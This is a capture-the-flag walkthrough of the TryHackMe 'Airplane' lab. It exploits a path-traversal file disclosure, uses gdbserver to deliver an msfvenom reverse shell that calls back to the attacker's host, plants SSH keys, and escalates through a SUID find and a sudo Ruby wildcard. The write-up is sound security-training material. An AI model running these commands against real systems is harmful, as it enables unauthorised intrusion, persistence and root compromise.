Post

TryHackMe: Airplane

Airplane started with discovering a file disclosure vulnerability in a web application. This vulnerability allowed us to identify another service running on a different port.
Knowing the service, we were able to exploit it to get a shell. With shell access, we leveraged a setuid (SUID) binary to escalate privileges to another user.
As this user, we could run a sudo command with a wildcard that allowed us to use a path traversal payload to escalate to root.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.47.54
Nmap scan report for 10.10.47.54
Host is up (0.093s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open  x11?
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are three ports open:

  • 22/SSH
  • 6048/?
  • 8000/HTTP

Additionally, nmap notifies us that port 8000 redirects to airplane.thm. We will add it to our hosts file.

1
10.10.47.54 airplane.thm

Port 8000

When visiting http://airplane.thm:8000/, we get redirected to http://airplane.thm:8000/?page=index.html. It displays a static page about airplanes.

Web 8000 Index

Shell as hudson

Discovering The File Disclosure Vulnerability

One interesting thing about how the page is displayed is the page parameter.

Testing it for directory traversal with the /?page=../../../../etc/passwd payload, we are able to read files on the system.

Web 8000 File Disclosure Passwd

There are three users with shell access.

1
2
3
root:x:0:0:root:/root:/bin/bash
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bash

Checking the /proc/self/status file, we can see that the current process (webserver) is running as the hudson user.

Web 8000 File Disclosure Status

Using /proc/self/cmdline, we can retrieve the command for the current process.

1
2
$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/self/cmdline' | sed 's/\x00/ /g'
/usr/bin/python3 app.py                                                                                                        

The cmdline file holds the command line arguments separated by a null byte. We can use the sed command to replace them with a space instead.

Now, we can use the /?page=../../../../proc/self/cwd/app.py payload to read the source code for the web application.

1
$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/self/cwd/app.py'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp

        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)                                                                                         

The /proc/self/cwd is a symlink to the current working directory for the process.

Checking the source code for the web application, it doesn’t seem like there’s anything interesting other than the file disclosure vulnerability. We’re also not able to find any low-hanging fruit like the user’s SSH key.

Identifying The Service on Port 6048

Since there is another service running on port 6048 that we don’t know anything about, we can leverage this file disclosure vulnerability to identify it.

By reading the /proc/net/tcp file, we can discover the service on port 6048 is running as the hudson user (uid = 1001).

1
2
3
4
5
$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/net/tcp'
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                               
...
   4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 19341 1 0000000000000000 100 0 0 10 0
...

In the /proc/net/tcp file, the port is stored in hexadecimal format (0x17A0, which translates to 6048).

Knowing that the same user runs the other service, we can likely read its command line as well.

To achieve this, we’ll need the process ID (PID) for the service, and since it’s unknown, we can fuzz for all possible PIDs, attempting to read the command line for each.

For this, we can use the following one-liner Bash script:

1
for i in {1..1000}; do echo -n "\r$i"; out=$(curl -s "http://airplane.thm:8000/?page=../../../../../proc/$i/cmdline" | sed 's/\x00/ /g' | grep -v 'Page not found'); if [ -n "$out" ]; then echo "\r$i : $out"; fi; done

The script creates a for loop to iterate through numbers from 1 to 1000, and for every number, it tries to read the /proc/<number>/cmdline file, and if the file is not empty, it echoes the output.

Upon running it, we get the command for the service on port 6048 with /proc/539/cmdline. It is running gdbserver.

1
2
3
4
$ for i in {1..1000}; do echo -n "\r$i"; out=$(curl -s "http://airplane.thm:8000/?page=../../../../../proc/$i/cmdline" | sed 's/\x00/ /g' | grep -v 'Page not found'); if [ -n "$out" ]; then echo "\r$i : $out"; fi; done
...
539 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
...

Abusing gdbserver To Get A Shell

Now that we know gdbserver is running on port 6048, we can use the method from here to get a shell.

Basically, what we will do is generate a reverse shell payload as an elf file. Connect to the remote gdb server, upload our binary to the server, change the executable to debug to our binary, and run it.

First, creating the reverse shell payload using msfvenom.

1
2
3
4
5
6
7
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.11.72.22 LPORT=443 PrependFork=true -f elf -o binary.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: binary.elf

Starting the gdb and connecting to the remote server.

1
2
3
4
$ gdb binary.elf

(gdb) target extended-remote airplane.thm:6048
Remote debugging using airplane.thm:6048

Uploading our binary to the /tmp directory.

1
2
(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".

Changing the executable to debug to our binary.

1
(gdb) set remote exec-file /tmp/binary.elf

Starting our listener and running it, we get a shell.

1
2
3
4
5
6
(gdb) r
Starting program: /home/kali/tryhackme/airplane/binary.elf
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
[Detaching after fork from child process 3084]
[Inferior 1 (process 3083) exited normally]

Now that we have a shell as the hudson user, we can drop an SSH key and use SSH to get a better shell.

1
2
3
4
5
6
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.47.54] 44750
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICmoQnk7E5HqYlAGSHEFJIS46QbkcopF80bN4LTmCmkL kali@kali >> /home/hudson/.ssh/authorized_keys
1
2
$ ssh -i id_ed25519 hudson@airplane.thm
hudson@airplane:~$

Shell as carlos

Suid Binary

Checking for any binaries with the suid bit set, we notice /usr/bin/find.

1
2
3
hudson@airplane:~$ find / -type f -perm -u=s 2>/dev/null
/usr/bin/find
...

It is owned by the carlos user.

1
2
hudson@airplane:~$ ls -la /usr/bin/find
-rwsr-xr-x 1 carlos carlos 320160 Şub 18  2020 /usr/bin/find

We can use the command from GTFOBins to get a shell as carlos.

1
2
3
hudson@airplane:~$ /usr/bin/find . -exec /bin/sh -p \; -quit
$ id
uid=1001(hudson) gid=1001(hudson) euid=1000(carlos) groups=1001(hudson)

Same as before, we can write to authorized_keys to get a better shell.

1
2
$ echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICmoQnk7E5HqYlAGSHEFJIS46QbkcopF80bN4LTmCmkL kali@kali >> /home/carlos/.ssh/authorized_keys
$ chmod 600 /home/carlos/.ssh/authorized_keys

After using SSH to get a shell, we can read the user flag.

1
2
3
$ ssh -i id_ed25519 carlos@airplane.thm
carlos@airplane:~$ wc -c user.txt
33 user.txt

Shell as root

Path Traversal in Sudo Command

Checking the sudo privileges for the carlos user, we are able to run /usr/bin/ruby /root/*.rb as root.

1
2
3
4
5
6
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

Wildcard (*) in the sudo command allows us to put anything between /root/ and .rb.

We can abuse this with a path traversal payload to run any ruby script we want.

First, creating a ruby script that will spawn a shell.

1
carlos@airplane:~$ echo 'exec "/bin/sh"' > /tmp/shell.rb

Now, using a path traversal payload, we run our ruby script to get shell as root and can read the root flag.

1
2
3
4
5
carlos@airplane:~$ sudo /usr/bin/ruby /root/../tmp/shell.rb
# id
uid=0(root) gid=0(root) groups=0(root)
# wc -c /root/root.txt
33 /root/root.txt
This post is licensed under CC BY 4.0 by the author.